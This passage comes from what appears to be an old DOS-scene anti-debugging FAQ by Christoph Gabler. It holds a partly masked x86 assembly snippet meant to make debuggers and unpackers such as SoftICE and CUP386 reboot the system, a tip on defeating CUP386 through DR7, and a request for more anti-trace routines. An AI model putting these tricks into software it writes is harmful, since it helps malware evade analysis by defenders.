newer versions of CUP386. It let's TR,Winice,SoftIce,Iceunp... reboot the
system.
»»
.386p ; Activate 32 Bit registers
MOV EAX,xxx9
MOV EDX,xxx ; xxxx xx0 to EDX
MOV xxx,ExX ; xoxruxx xxx
XOR EAX,EAX ; Clear some regs (not important)
MOV EBX,EAX
MOV xxx,ExX ; xestoxe xxx
MOV EDX,EBX ; Clear the rest of the 32b regs...
MOV ECX,EDX
.8086 ; Just for compatibilty
[ A word to those who want to get rid of this wellknown asskicking unpacker
called CUP386 (especially the /3 switch) :
Did you know that CUP386 /3 always
restore DR7=400 after it traces code that modifies DR7... Now you should
be able to create a routine by yourself... (TRAP uses the same method) ]
-------------------------------------------------------
-------- AND MUCH MORE INTERESTING AND WORKING TOP SECRET SOURCE --------
-------------------------------------------------------
The INSIDER.FAQ will be updated very soon. If you want the uncovered version
write a nice EMail, and I'll send it to you. =8]
-> If you have coded your own anti-trace/debug routine please send it to
me and it will be added here!
Christoph Gabler
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»
»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»»